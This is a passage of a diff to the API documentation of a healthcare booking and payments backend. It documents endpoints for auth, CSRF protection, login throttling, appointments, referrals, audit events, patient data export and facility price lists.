`assetCode` (issue #79); the allowed assets are -an environment allowlist (`PAYMENT_ASSETS`, testnet XLM + USDC by default). -Admin-triggered release/refund is the interim design, not the final one. - -`POST /payments/intents/:id/prepare` (patient, verified email; issue #80) -owns the caller's intent in the service β€” someone else's intent is `404`. -It requires a verified `PatientWalletLink` (`409 WALLET_NOT_LINKED`) and a -linked facility payee (`409 FACILITY_WALLET_NOT_LINKED`), checks an issued -asset's payee trustline (`409 PAYEE_TRUSTLINE_MISSING`), then builds and -simulates the patient-as-payer `create_escrow`. It returns the intent plus -`{ xdr, txHash, expiryLedger }` and moves the intent to `awaiting_signature`; -re-preparing while live returns the same transaction, and an expiry sweep -moves stale prepared intents back to `created`. Against `@docforum/escrow-sdk` -0.2.0 the real prepare call does not exist, so this returns -`503 ESCROW_SDK_PREPARE_UNSUPPORTED` until issue #32 lands. - -## Orders (`/orders`) β€” `backend/src/modules/orders` - -Verified doctors can create a consultation with `POST /orders/consultations` (`appointmentId`, optional `outcome` and `notes`) β€” the same write as `POST /consultations` plus the verified-doctor gate, so all of its one-per-appointment/encryption/audit rules apply. Issue a prescription with `POST /orders/consultations/:consultationId/prescriptions` (`facilityProfileId`, and `items`), or a lab order with `POST /orders/consultations/:consultationId/lab-orders` (`facilityProfileId`, `testType`, optional `urgency` and `notes`). Either route takes **exactly one** of a positive integer `amountStroops` (manual price) or a `catalogItemCode` (facility price list, issue #127) β€” the resolved amount and the code are snapshotted on the payment intent. Issuance creates its payment intent in the same transaction. Corrections create superseding immutable orders: a created intent moves to the correction; an escrowed intent remains linked to the original and is handled by the existing admin refund action. - -## Audit trail (`/admin/audit-events`) β€” `backend/src/modules/audit` - -Phase 8, issue #43. Every response carries an `X-Request-Id` header: a -well-formed inbound `X-Request-Id` (8–128 chars of `[A-Za-z0-9._:-]`) is -kept, anything else is replaced with a UUID. Audit events store it, so an -event can be traced to the request (and logs) that caused it. - -| Method & path | Auth | Notes | -|---|---|---| -| `GET /admin/audit-events` | admin | Newest first. Query: `entityType`, `entityId` (requires `entityType`), `actorUserId`, `from` / `to` (ISO-8601 date or date-time, inclusive), `limit` (1–200, default 50), `cursor`. Unknown parameters are `400`. Returns `{ items, nextCursor }`; pass `nextCursor` back as `cursor` for the next page (`null` = last page). | - -Item shape: `{ id, actorUserId, actorRole, entityType, entityId, action, -fromState, toState, requestId, metadata, createdAt }`. `metadata` is a small -flat map of ids/codes (never personal data). Ordering is -`(createdAt DESC, id DESC)` and the cursor is a keyset position on that -pair, so paging never skips or repeats an event; events written after a scan -started appear at the front of a new scan, not mid-way through the old one. -`400 INVALID_CURSOR` for a malformed cursor; `400` if `from` is after `to`. - -Recorded today: `appointment.booked` (both the direct booking and the -referral-origin booking the accept produces β€” the `origin` metadata tells -them apart), `doctor.verification_status_changed`, -`payment_intent.{funded,released,refunded}`, `consultation.closed`, -`prescription.issued`, `lab_order.issued`, `referral.accepted`, -`referral.declined`, `referral.reassign`, `referral.cancel` β€” see -ARCHITECTURE.md Β§4.10. There is no write or delete -endpoint, and the table rejects UPDATE/DELETE in the database. - -Payment actions (`POST /payments/intents/:id/{fund,release,refund}`) now -return `409` when the intent changed state concurrently between the check -and the write (previously the second write silently overwrote the first). - -### Payment history and facility ledger (Phase 5.5, issue #90) - -| Method & path | Auth | Query | Notes | -|---|---|---|---| -| `GET /payments/mine` | patient | `status`, `from`, `to`, `limit`, `cursor` | Lists only the caller's payment intents, newest first. | -| `GET /payments/facility/ledger` | facility | `status`, `from`, `to`, `limit`, `cursor` | Lists only the caller facility's intents and includes SQL-aggregated lifecycle totals. | - -`limit` defaults to 50 and is capped at 100. `from` and `to` are inclusive -ISO-8601 dates or date-times; `status` is one of `created`, `escrowed`, -`released`, `refunded`, or `failed`. The opaque `nextCursor` can be passed -as `cursor`; ordering is stable by `(createdAt DESC, id DESC)`. Facility -totals apply the date filters but intentionally remain split across all -three summary statuses even when the row list has a `status` filter. - -Rows include `orderType`, `orderId`, lifecycle status, amount, and the -contract/escrow/transaction references needed for an explorer link. Stroop -amounts and escrow ids are decimal strings. The current schema supports -native XLM only, so `asset` is `{ "type": "native", "code": "XLM" }`. -`refundAfter` is currently `null`: this custodial v1 contract path does not -set an on-chain refund deadline, and the schema has no such field. No -clinical order details are exposed. The facility totals object contains -`escrowed` (pending in escrow), `released`, and `refunded` sums, each as a -BigInt-safe decimal string. -## Patients (`/patients`) β€” `backend/src/modules/patients` - -### Dependents (Phase 8, issue #42 β€” `docs/adr/0011`) - -| Method & path | Auth | Body | Notes | -|---|---|---|---| -| `POST /patients/me/dependents` | patient, verified email | `{ fullName, dateOfBirth: 'YYYY-MM-DD' }` | Creates a **new** dependent profile (no login) with you as guardian. `201 { id, fullName, dateOfBirth, guardianSince }` β€” `id` is the dependent's `patientProfileId` for booking. Strict body: any other field (e.g. `patientProfileId`, `userId`) is `400` β€” an existing profile can never be linked. `400 DEPENDENT_NOT_A_MINOR` at or over `AGE_OF_MAJORITY_YEARS` (default 18); `400` for a future/invalid date. | -| `GET /patients/me/dependents` | patient | β€” | Your **active** dependents only (not revoked, still under the age of majority), oldest guardianship first. Never another guardian's. | - -Guardian access ends automatically on the dependent's majority birthday -(00:00 UTC): they drop out of the list and booking for them returns -`403 GUARDIANSHIP_INACTIVE`. Their profile and appointments are kept. There's -no revoke endpoint in v1 (the model's `revokedAt` is honoured everywhere; -guardian/admin revocation is a follow-up). - -### Data export β€” right of access (Phase 8, issue #40) - -| Method & path | Auth | Notes | -|---|---|---| -| `POST /patients/me/export` | patient | Starts an export of the **caller's own** data. `202` with the export status object and a `Location: /patients/me/export/:id` header. If one is already `pending`/`processing`, returns that one instead of queuing a second. No body is read β€” there is no way to name another patient. | -| `GET /patients/me/export/:id` | patient (owner) | Status object (below). `404` for an id that isn't the caller's β€” the same response as one that doesn't exist. | -| `GET /patients/me/export/:id/download` | patient (owner) | Streams the bundle as `application/json` (`Content-Disposition: attachment`, `Cache-Control: no-store`). `409 EXPORT_NOT_READY` while pending/processing/failed; `410 EXPORT_EXPIRED` at or after `expiresAt`, even before the cleanup job has run. | - -Doctors and admins get `403` on all three β€” there is no on-behalf-of export. - -Status object: - -```json -{ - "id": "uuid", - "status": "pending | processing | ready | failed | expired", - "schemaVersion": 1, - "createdAt": "…", "startedAt": "…", "generatedAt": "…", "expiresAt": "…", - "sizeBytes": 12345, - "failure": null, - "downloadUrl": "/patients/me/export//download" -} -``` - -`downloadUrl` and `sizeBytes` are non-null only while `ready`. A failed -export reports `failure: { code: 'SECTION_FAILED', section: '' }` (or -`GENERATION_FAILED` / `GENERATION_TIMEOUT`, with `section: null`) β€” request a -new export to retry. Generation is asynchronous; poll the status object. - -Bundle (`schemaVersion` 1): - -```json -{ - "format": "docforum.patient-export", - "schemaVersion": 1, - "exportId": "uuid", - "generatedAt": "ISO-8601", - "sections": { - "account": { "version": 1, "items": [{ "id", "email", "phone", "role", "emailVerifiedAt", "createdAt", "updatedAt" }] }, - "appointments": { "version": 1, "items": [{ "id", "status", "origin", "slot": { "startTime", "endTime" }, "doctor": { "id", "fullName" }, "createdAt", "updatedAt" }] }, - "payments": { "version": 2, "items": [{ "id", "prescriptionId", "labOrderId", "status", "amount", "assetCode", "facility": { "id", "name" }, "escrowId", "stellarTxHash", "sorobanContractId", "createdAt", "updatedAt" }] }, - "profile": { "version": 1, "items": [{ "id", "fullName", "dateOfBirth", "createdAt", "updatedAt" }] } - } -} -``` - -Sections are sorted by name; new modules add sections (ARCHITECTURE.md Β§3.1) -without changing the envelope. `amount`/`escrowId` are strings (bigint), -and `amount` is in the smallest unit of `assetCode` (payments section -version 2 β€” issue #79; version 1 used `amountStroops`). No password hash, -tokens, throttle state or platform secrets are ever included. - -Exports stay downloadable for `PATIENT_EXPORT_TTL_HOURS` (default 24), then -the cleanup job deletes the stored bundle. Other knobs: `PATIENT_EXPORT_PAGE_SIZE`, -`PATIENT_EXPORT_CHUNK_BYTES`, `PATIENT_EXPORT_WORKER_INTERVAL_SECONDS`, -`PATIENT_EXPORT_CLEANUP_INTERVAL_SECONDS`, `PATIENT_EXPORT_STALE_AFTER_SECONDS`, -`PATIENT_EXPORT_MAX_ATTEMPTS` β€” see `backend/src/config/index.ts` and -`backend/src/jobs/README.md`. - -### Account deletion (Phase 8, issue #41) - -| Method & path | Auth | Body | Notes | -|---|---|---|---| -| `DELETE /patients/me` | patient | `{ password }` | **Deletes the caller's account** (Phase 8, issue #41 β€” `docs/adr/0010`). `204 No Content`. Irreversible. | - -What deletion does: the login identity and profile are **anonymised in -place** β€” email becomes `deleted+@deleted.invalid` (so the original -address is free to sign up again, as a new empty account), phone/DOB are -cleared, the name becomes `Deleted patient`, the password becomes unusable, -verification tokens and the address's login-throttle bucket are deleted. -**Appointments and payment records are kept unchanged** (clinical and -financial records; see the ADR's retention table), still linked to the -anonymised profile. - -Errors: `400` without a `password`; `403 PASSWORD_CONFIRMATION_FAILED` for a -wrong one; `403` for non-patient roles. Wrong confirmations count against the -account's login throttle (issue #35), so repeated guesses get `429` with -`Retry-After`. Not gated on email verification β€” an unverified account can -delete itself. - -Idempotent: a repeat request from the same (still unexpired) access token -returns `204` and changes nothing; concurrent requests anonymise once. - -After deletion: login and `/auth/refresh` return `401`. The access token is a -stateless JWT and stays syntactically valid until its 15-minute TTL ends (no -revocation list yet, issue #18), but every patient route returns `404` for -it and booking/payment routes return `403 EMAIL_NOT_VERIFIED`. Clients should -discard their tokens on `204`. - -A guardian who deletes their account (issue #42, `docs/adr/0011`) has every -guardianship revoked in the same transaction; their dependents' profiles and -appointments are untouched, and the revoked rows are kept as the access -record. - -A scheduled purge later hard-deletes deleted accounts that have **no** -retained records, `ACCOUNT_PURGE_GRACE_HOURS` (default 24) after deletion. - -## Not yet implemented - -`patients`, `prescriptions`, `pharmacy-orders` and `notifications` have no -routes yet β€” Phase 2 (intake), 4 (orders), 5 (facilities) and 6 -(notifications), see `ROADMAP.md`. Facility price lists themselves shipped -with issue #127 (`/facilities`, above); the remaining facility-admin surface -is still pending. - -## Escrow chain events (/admin/payments/escrow-events) - -Admin-only read endpoint. Optional state filter accepts pending, matched, or unmatched; limit is 1–200 (default 50). It returns persisted Soroban events and per-contract cursors. Unmatched release/refund events produce a high-severity structured log, an optional JSON POST to ESCROW_EVENT_ALERT_WEBHOOK_URL, and an unmatched row visible here. A retention-window failure sets catchupError on the corresponding cursor; operators must reconcile the gap before changing the configured start ledger. -## OpenAPI specification - -A machine-readable OpenAPI 3 specification is available at [`backend/openapi.json`](../../backend/openapi.json). The TypeScript types and client are generated from this spec via [`backend/scripts/gen-openapi.mjs`](../../backend/scripts/gen-openapi.mjs) into the `@docforum/api-client` package (`packages/api-client/`). +# API docs + +Endpoints are grouped by module below. Which phases are built is tracked +in `ROADMAP.md`, not here. Keep this file in sync with +`backend/src/modules/*/routes` (AGENTS.md doc-update rule): when you add or +change an endpoint, add or edit its row in that module's table, and leave +the rest of the file alone. + +Base URL: `http://localhost:4000` locally (`PORT` in `.env`). No OpenAPI spec yet β€” TBD, tracked informally, not blocking Phase 1. + +## Auth (`/auth`) β€” `backend/src/modules/auth` + +| Method & path | Auth | Body | Notes | +|---|---|---|---| +| `POST /auth/signup` | none | `{ role: 'patient'\|'doctor', email, password, fullName }` | **`role` is restricted to `patient`/`doctor` server-side, not just in docforum-web's UI** β€” facility accounts are admin-invited only (PRD OQ-2). Returns `{ user, accessToken }`; sets an httpOnly refresh cookie. Stores the best supported language from `Accept-Language` (`en` fallback) as `user.locale`. | +| `POST /auth/login` | none | `{ email, password }` | Same response shape as signup. **Throttled** (Phase 8, issue #35) β€” see below. | +| `POST /auth/refresh` | refresh cookie + `X-CSRF-Token` | β€” | Reads the httpOnly cookie (not the body). Returns a fresh `{ user, accessToken, csrfToken }` and rotates the cookie **and** the CSRF token. `403` if the CSRF token is missing/wrong or the `Origin` isn't allowlisted. | +| `POST /auth/logout` | `X-CSRF-Token` | β€” | Clears the refresh cookie. `204 No Content`; `403` without the CSRF header or from a disallowed `Origin`. | +| `POST /auth/verify-email` | none | `{ token }` | Redeems the token from the verification email. `200 { emailVerifiedAt }`. Errors are `400` with `code: 'INVALID_VERIFICATION_TOKEN'` (unknown / already used) or `code: 'VERIFICATION_TOKEN_EXPIRED'`. Single-use and atomic β€” two concurrent redemptions can't both succeed. | +| `POST /auth/verify-email/resend` | access token | β€” | Re-sends to the caller's own address. `200 { resendAfterSeconds }`. `409 EMAIL_ALREADY_VERIFIED` if already verified; `429 EMAIL_VERIFICATION_RATE_LIMITED` if a mail went out less than `EMAIL_VERIFICATION_RESEND_INTERVAL_SECONDS` ago (default 60). Authenticated and account-scoped on purpose β€” no email in the body, so it can't be used to enumerate accounts. | + +### Email verification (Phase 8, issue #34) + +`POST /auth/signup` creates the account **unverified** (`user.emailVerifiedAt` +is `null` in the response and in `GET`-style payloads). Unverified accounts +can log in, refresh, and browse; they get +`403 { message, code: 'EMAIL_NOT_VERIFIED' }` from mutating routes that +depend on a trustworthy contact address: + +- `POST /appointments` (booking) +- `POST /consultations`, `POST /consultations/:id/referrals` +- `POST /referrals`, `POST /referrals/from-consultation/:id`, + `POST /referrals/:id/{accept,decline}` +- `POST /payments/wallet-link`, `POST /payments/intents/:id/prepare`, + `POST /payments/intents/:id/{fund,release,refund}` + +(`GET`-style routes β€” lists, availability, the admin referral queue β€” +are deliberately *not* gated on verification: browsing needs no contact +address.) + +That guard reads the database rather than trusting a claim in the access +token, so verifying in one tab unblocks the caller immediately instead of +after the 15-minute token TTL. + +**No email provider is integrated yet** (Phase 6, issue #17) β€” +`backend/src/modules/auth/services/email-dispatcher.ts` is the +provider-agnostic seam and currently drops the message (logging only the +subject and recipient, never the body/token). On a hosted deployment, an +operator can mark an address verified out-of-band with +`node backend/scripts/mark-email-verified.mjs `; see +`scripts/README.md`. This is a documented interim, not the end state. + +Env knobs: `EMAIL_VERIFICATION_TOKEN_TTL_MINUTES` (default 1440), +`EMAIL_VERIFICATION_RESEND_INTERVAL_SECONDS` (default 60), +`EMAIL_VERIFICATION_LANDING_URL` (where the emailed link points). + +### CSRF (Phase 8, issue #37) + +The refresh cookie is `SameSite=None; Secure` in production (docforum-web on +GitHub Pages and this API on Render are different sites), so **any** website +can cause a browser to send it to `/auth/refresh` / `/auth/logout`. Those two +routes are therefore protected by: + +1. **A required `X-CSRF-Token` header** carrying the `csrfToken` from the + login/signup/refresh response body. It's a claim inside the refresh JWT + for that session, so it rotates together with the cookie and needs no + server-side state. On `/auth/logout` there is no session token to match + against, so the header's presence is required instead (the impact of a + forged logout is a forced sign-out, not data loss). +2. **An `Origin` allowlist** β€” a request whose `Origin` is present and not on + the CORS allowlist is rejected with `403 Origin not allowed.` +3. **An explicit per-environment CORS allowlist** β€” `CORS_ORIGINS` + (comma-separated; `CORS_ORIGIN` still works as a single origin). + Production defaults to `https://docforum.github.io`; local dev to + `http://localhost:5173` and `http://127.0.0.1:5173`. + +**Why not a double-submit cookie** (the usual default): a cookie set by this +API is a third-party cookie to `docforum.github.io`, so docforum-web's +JavaScript can never read it β€” the value therefore has to travel in the +response body instead. See `backend/src/middleware/csrf.ts`. + +**Client requirements (docforum-web):** + +- Store `csrfToken` from the signup/login/refresh response next to the access + token (in memory), and replace it on every refresh response. +- Send it on the two cookie-authenticated calls: + `fetch(url, { method: 'POST', credentials: 'include', headers: { 'X-CSRF-Token': csrfToken } })`. +- A `403` there means re-login, not retry. + +**Requests with no `Origin` header** (curl, server-to-server): allowed past +the Origin check, but the CSRF header is still required β€” an attacker's page +can't win by suppressing `Origin`. Sessions issued before this change carry +no `csrf` claim in their refresh token, so they are rejected with `403` and +need one re-login. + +### Login throttling (Phase 8, issue #35) + +`POST /auth/login` is rate-limited **per normalised email and per client +IP**, with state in Postgres (so it survives restarts and doesn't assume a +single instance). Bucket size is capped by the first limit reached: + +| Phase | Response | +|---|---| +| Below `LOGIN_THROTTLE_BACKOFF_AFTER` failures (default 3) in the window | normal `401 { message: 'Invalid email or password.' }` | +| At/after it | `429` with a `Retry-After: ` header, growing exponentially (`LOGIN_THROTTLE_BACKOFF_BASE_SECONDS` Γ— 2ⁿ, capped at `LOGIN_THROTTLE_BACKOFF_MAX_SECONDS`) | +| At `LOGIN_THROTTLE_LOCK_AFTER` failures (default 10) | `429` locked for `LOGIN_THROTTLE_LOCK_SECONDS` (default 15 min). The lock is set once per window and is not extended by further attempts | +| Window (`LOGIN_THROTTLE_WINDOW_SECONDS`, default 15 min) | New window restarts the count at 1 and clears the lock | + +A successful login clears the **per-account** counter. The per-IP bucket is +left alone, so one valid login can't reset a shared-IP budget. + +Clients should honour `Retry-After` and must **not** treat a `429` as +"account locked permanently". The response is identical for a real and a +non-existent address, and for a locked and a backing-off bucket β€” it +deliberately reveals nothing about whether the account exists (an absent +account also pays bcrypt's comparison cost, so timing doesn't leak either). + +`POST /auth/login-attempts/clear` (admin-only) clears a lock a legitimate +user is stuck behind: body `{ email?, ip? }` (at least one), returns +`{ cleared }`. Clear **both** when a lock was taken out via the account's IP, +or the IP bucket will keep refusing them. It's logged to the server console +β€” the `AuditEvent` table (ARCHITECTURE.md Β§4.10) records booking, doctor +verification, payments and the referral admin actions, but not the +login-throttle clear, so that's still the interim record. + +Under the hood this uses Express's `trust proxy` setting via the +`TRUST_PROXY` env var: `1` behind Render's single proxy hop, `false` (the +default) locally. See `ARCHITECTURE.md` Β§7 β€” the wrong value is a security +bug in either direction. A cleanup interval in `src/server.ts` prunes +buckets whose last failure is older than +`LOGIN_THROTTLE_PRUNE_AFTER_SECONDS` (default 24 h). + +Access tokens: `Authorization: Bearer `, 15-minute TTL, no +revocation list yet (see `ARCHITECTURE_ESSENTIALS.md` known gaps β€” +JWT refresh rotation without a revocation list). Refresh tokens: httpOnly +cookie, 30-day TTL, `SameSite=None; Secure` in production and +`Lax`/insecure locally β€” the attributes live in `config.cookie` +(`backend/src/config/index.ts`) so the refresh and CSRF cookies can never +drift apart. See `docs/adr/0003` for why production needs `SameSite=None`. + +Every token carries a `tv` claim (the user's `tokenVersion` at issue time). +Bumping `User.tokenVersion` β€” which password reset does β€” invalidates every +outstanding refresh token for that user at the next refresh. This is the +interim kill switch for issue #33; the fuller revocation list (per-session +revocation, #18) is still open, so a bumped-away **access** token keeps +working until its 15-minute TTL elapses. Refresh tokens are checked +against `tokenVersion` on every `POST /auth/refresh`. + +## Doctors (`/doctors`) β€” `backend/src/modules/doctors` + +| Method & path | Auth | Notes | +|---|---|---| +| `GET /doctors` | none | Query: optional `specialty` slug, typo-tolerant `q`, `limit` (1–50, default 20), and keyset `cursor`. Returns `{ items: [{ id, fullName, specialties: [{ id, name, slug }] }], nextCursor }`; only verified profiles and public fields are returned. One/two-character queries use prefix matching; longer queries use `pg_trgm` similarity. The frontend fetches slot details separately. | +| `GET /doctors/me` | doctor | Returns the caller's own `DoctorProfile`. | +| `PUT /doctors/me/specialties` | doctor | Body `{ specialtyIds: string[] }`; replaces the caller's specialty assignments. Unknown ids return `400`. | +| `PATCH /doctors/:doctorProfileId/verification` | admin | Body `{ status: 'pending'\|'verified'\|'rejected' }`. Manual, admin-gated per PRD FR-3 β€” there is no automated verification pipeline. | + +## Specialties (`/specialties`) β€” `backend/src/modules/doctors` + +| Method & path | Auth | Notes | +|---|---|---| +| `GET /specialties` | none | Lists the seeded specialty catalog as `{ id, name, slug }` records. | + +## Availability (`/availability`) β€” `backend/src/modules/availability` + +| Method & path | Auth | Body | Notes | +|---|---|---|---| +| `GET /availability/doctors/:doctorProfileId/slots` | none | β€” | Lists that doctor's open, future slots. Public on purpose β€” a patient needs to see availability before signing in. | +| `POST /availability/doctors/:doctorProfileId/slots/generate` | doctor (self only) | `{ date: 'YYYY-MM-DD', startHour, endHour, slotLengthMinutes }` | Fixed-length, single-day generation β€” no recurrence engine (ARCHITECTURE.md Β§6.3.6 guardrail). Idempotent: re-running with an overlapping range skips slots that already exist rather than erroring or duplicating. | + +## Appointments (`/appointments`) β€” `backend/src/modules/appointments` + +| Method & path | Auth | Body | Notes | +|---|---|---|---| +| `POST /appointments` | patient | `{ availabilitySlotId, patientProfileId? }` | **The concurrency-critical endpoint** β€” see `ARCHITECTURE.md Β§5.1` and `backend/tests/integration/booking.test.mts`. `409` if the slot is no longer open. Load-tested under contention (Phase 9, issue #86) β€” see `backend/tests/load/README.md`. `patientProfileId` (Phase 8, issue #42) books for a dependent you're an active guardian of; omit it (or pass your own profile id) to book for yourself. Someone else's profile or dependent: `404`, checked before anything is booked. A dependent whose guardianship ended (revoked / reached majority): `403 GUARDIANSHIP_INACTIVE`. | +| `GET /appointments/mine` | patient | β€” | Caller's own appointments, most recent first. `?patientProfileId=` lists an active dependent's instead (same authorisation as booking). | +| `GET /appointments/doctor/today` | doctor | β€” | Caller's scheduled appointments for the current server-local calendar day, ordered by slot start time. | +| `PATCH /appointments/:appointmentId/status` | doctor (treating doctor only) | `{ status: 'completed'\|'cancelled'\|'no_show' }` | Issue #3's lifecycle, and the trigger for the referral cascade (#67): if the appointment came from a referral, the referral moves in the same transaction (completed β†’ referral completed; cancelled β†’ referral back to `pending` and the slot released; no-show β†’ count++, pending until `NO_SHOW_EXPIRY_THRESHOLD` (2) then `expired`). `409` unless the appointment is still `scheduled`. | +| `PATCH /appointments/:appointmentId/cancel` | patient (own appointment) | β€” | Patient-side cancellation, `scheduled` only. Same slot-release + cascade behaviour as above. | + +## Consultations (`/consultations` + `/appointments`) β€” `backend/src/modules/consultations` + +Phase 2, issue #4 (close-once) and Phase 3's referral slice. The module owns +the `Consultation` row: **one writer**, `consultationsService.createConsultation`, +reached through three addresses β€” the appointment-scoped close route, the +`/consultations` create route, and the orders flow's consultation step (which +adds its own verified-doctor gate and delegates). Same guarantees regardless +of the address. + +| Method & path | Auth | Body | Notes | +|---|---|---|---| +| `POST /appointments/:appointmentId/consultation` | doctor (own **completed** appointment, verified email) | `{ outcome: 'resolved' \| 'referred' \| 'follow_up_needed', notes }` | Closes the appointment's consultation. `201` returns `{ consultation, appointment }`; `404` if the appointment doesn't exist **or isn't the caller's** (no existence leak); `409` if the appointment isn't `completed` or its consultation was already closed; `400` on an unknown outcome or empty/over-20k notes. | +| `POST /consultations` | doctor (own completed appointment, verified email) | `{ appointmentId, outcome?, notes? }` | The same write with the appointment in the body β€” Phase 3's address for it. `201` returns the consultation. `outcome` is optional here so a record can exist before sign-off; the close route above requires it. | +| `GET /consultations/:consultationId` | doctor (treating) or patient (own visit) | β€” | Anyone else gets `403`; unknown id `404`. `notes` comes back decrypted. | +| `POST /consultations/:consultationId/referrals` | doctor (treating, verified email) | `{ targets: [{ targetDoctorId?, targetSpecialtyId?, snapshotNotes }] }` | Issue #66 β€” atomic all-or-none multi-referral. Equivalent to `POST /referrals/from-consultation/:consultationId` below; both live on the referrals service, so a specialty-only target is routed at creation exactly as that row describes (issue #6). | + +Once-only is a database guarantee, not an app-level check: +`Consultation.appointmentId` is `UNIQUE`, so two concurrent closes can't both +commit β€” the loser gets `409`. There is no amendment/edit path in v1 (an +explicit open question, not an assumption). + +`notes` is clinical free text and is stored **encrypted** (AES-256-GCM +envelope, `v1:::` β€” ARCHITECTURE.md Β§4.3, issue #46); it is +returned in plaintext to the caller who just wrote it and to a permitted +reader. This requires `FIELD_ENCRYPTION_KEY_V1` (32 bytes, base64) and +optionally `FIELD_ENCRYPTION_ACTIVE_VERSION` (default `v1`) to be set; a +missing key is a `500` on the write, not a silent plaintext write. Encrypted +columns cannot be searched or indexed. + +Every write also records an `AuditEvent` (`consultation.closed`) in the same +transaction, so the event exists iff the consultation was written. + + +## Referrals (`/referrals`) β€” `backend/src/modules/referrals` + +| Method & path | Auth | Body | Notes | +|---|---|---|---| +| `POST /referrals` | doctor | `{ sourceConsultationId, targetDoctorId?, targetSpecialtyId?, snapshotNotes }` | Issues #5 and #6 (routing β€” `docs/adr/0008-referral-routing-without-target-doctor.md`). Requires: the caller's own **completed** appointment's consultation, at least one of `targetDoctorId` / `targetSpecialtyId` (`400` otherwise), no self-referral, no duplicate target for that consultation. A named doctor must be verified (and verified in `targetSpecialtyId` when given). **A specialty-only target is routed at creation to the least-loaded eligible doctor** β€” verified, holds the specialty, not the referring doctor, active account; fewest `pending`+`accepted` referrals, ties broken by doctor id β€” and the response carries the resolved `targetDoctorId`. When nobody is eligible: `422` with `code: "REFERRAL_NO_ELIGIBLE_TARGET"` and **no referral row is written**. Writes `snapshotNotes` as a copy. A repeat doctor/specialty anywhere in the lineage **flags** the referral (`loopFlaggedAt`) for the admin queue instead of failing; chains over `REFERRAL_MAX_HOPS` (default 4) and self-referrals are `422`. | +| `POST /referrals/from-consultation/:consultationId` | doctor | `{ targets: [...] }` | Issue #66 β€” same atomic batch as the consultations route; the decision to allow multi-referral with independent lifecycles (and no bundle table) is `docs/adr/0006-multiple-referrals-per-consultation.md`. Duplicate doctor *or* specialty inside the batch, or against an existing referral from that consultation, fails the whole batch. Each specialty-only target is routed independently (issue #6), a batch never routes one onto a doctor it names explicitly, and a target with no eligible candidate left fails the whole batch. | +| `POST /referrals/:referralId/accept` | patient (the referred patient) | `{ availabilitySlotId }` | Issue #7. Conditional `pending β†’ accepted` (exactly one concurrent accept wins β†’ `409`), then books a real appointment against the **target doctor** through the same slot-claim path as `POST /appointments` β€” the patient picks the slot; no re-intake, the snapshot travels on the referral. `409` if the slot isn't the target doctor's. Writes two audit rows in the one append-only trail: `referral.accepted` (a `Referral`-typed row) and `appointment.booked` for the appointment it booked (`origin: 'referral'`), both inside the accept's own transaction. | +| `POST /referrals/:referralId/decline` | patient (the referred patient) | β€” | Pending-only, terminal (`409` otherwise). Writes a `referral.declined` audit row. | +| `GET /referrals/mine` | patient | β€” | `{ referrals, groupedByConsultation }` β€” grouped for the "one visit, several referrals" view (#66). | +| `GET /referrals/created` | doctor | β€” | Referrals the caller created, including ones the cascade expired (see `referringDoctorNotifiedAt`) and ones the loop guard flagged. | +| `GET /referrals/admin/queue` | admin | query: `status`, `olderThan` (`48h` / `7d`), `loopFlagged` (`true`\|`false`) | Issue #68 β€” stuck/aged/loop-flagged referrals with a derived human-readable `reason` and `ageMinutes`. | +| `POST /referrals/admin/:referralId/reassign` | admin | `{ targetDoctorId, reason }` | **Pending referrals only.** Moves `targetDoctorId` (validated through the doctors service) β€” the snapshot, lineage and patient are untouched. Writes an `AuditEvent` (`referral.reassign`) in the one append-only audit trail, as a `Referral`-typed row. | +| `POST /referrals/admin/:referralId/cancel` | admin | `{ reason }` | Pending or accepted (`409` on terminal). Cancelling an accepted referral also cancels its live appointment through the appointments service. Writes an `AuditEvent` (`referral.cancel`) in the one append-only audit trail, as a `Referral`-typed row. `cancelled` is distinct from `expired`/`declined` so the three exits stay tellable apart. | +| `GET /referrals/admin/:referralId/audit-events` | admin | β€” | The referral's audit rows, read from the same `AuditEvent` table `GET /admin/audit-events` serves (`entityType: 'Referral'`, `entityId: `): actor, role, action, from/to state, metadata (the admin's `reason` lives in `metadata.reason`), timestamp. | + +## Facilities (`/facilities`) β€” `backend/src/modules/facilities` + +Issue #127: each facility publishes its own price list so an order can be +priced from what the facility actually charges instead of an amount typed by +the doctor. Prices are **versioned by `effectiveFrom` and append-only** β€” a +new price supersedes the old one for future pricing, and history (including +the version an existing intent was priced from) is never rewritten. Amounts +are integer strings of the asset's smallest unit (stroops for native XLM) and +are carried as `BigInt` end to end. A facility with no published price is +"price on request", never a zero charge. + +| Method & path | Auth | Body / query | Notes | +|---|---|---|---| +| `GET /facilities/eligible` | none | query: `type` (`lab`\|`pharmacy`, required), `catalogItemCode?`, `asset?` (default `native`), `at?` (ISO-8601) | Facilities of that type, each with the price in force at `at` (default now) for `catalogItemCode`. Shape: `{ facilities: [{ facilityId, name, type, priceOnRequest, price: { amountStroops, effectiveFrom } \| null }] }`. `price: null` + `priceOnRequest: true` is the documented "price on request" state. Public: patients compare prices before signing in. Capability matching (issue #14, PRD FR-13): only facilities of that type that *hold* the matching `FacilityCapability` (`lab` ↔ `lab_test`, `pharmacy` ↔ `medication_dispense`) are listed β€” **fail closed**, a facility with missing or wrong-type capability data shows for nothing. | +| `GET /facilities/:facilityId/prices` | none | query: `catalogItemCode?`, `asset?` | The facility's full price history, newest first: `{ prices: [{ id, facilityId, catalogItemCode, asset, amountStroops, effectiveFrom, createdAt }] }`. Public. | +| `GET /facilities/me/prices` | facility | query: `catalogItemCode?`, `asset?` | Same shape, scoped to the caller's own facility profile (resolved from the access token, so there is no client-supplied id to forge). | +| `POST /facilities/me/prices` | facility (verified email) | `{ catalogItemCode, amount, asset?, effectiveFrom? }` | Publishes a new version. `amount` is a positive integer string of smallest units (decimals/exponents rejected); `asset` defaults to `native`; `effectiveFrom` defaults to now and may be in the future to schedule a price. `201` with the created version. `409` if that item/asset already has a version with the exact same `effectiveFrom`; `403` for a facility that isn't the caller's. Writes a `FacilityPrice` audit event (`facility_price.created`) in the same transaction. | +| `POST /facilities` | admin | `{ email, password, name, type, capabilities: [{ capabilityType, detail? }] }` | Creates a facility account (issue #14, PRD OQ-2 β€” the only creation path; `POST /auth/signup` refuses `facility`). One transaction: `User` (role `facility`, admin-set initial password β‰₯ 8 chars, `emailVerifiedAt` set since the provider (#17) can't mail a link), `FacilityProfile`, `FacilityCapability` rows, and a `facility.created` `AuditEvent` (ids/counts only). Capabilities must match `type` (`lab` ↔ `lab_test`, `pharmacy` ↔ `medication_dispense`); `detail` is free text (no controlled vocabulary yet). `201` with `{ id, userId, name, type, capabilities, createdAt }` β€” never the credential. `400` on a type/capability mismatch or empty payload, `409` on a duplicate email. | + +Orders: `POST /orders/consultations/:consultationId/{prescriptions,lab-orders}` +accept **either** a manual `amountStroops` **or** a `catalogItemCode` priced +from this list β€” exactly 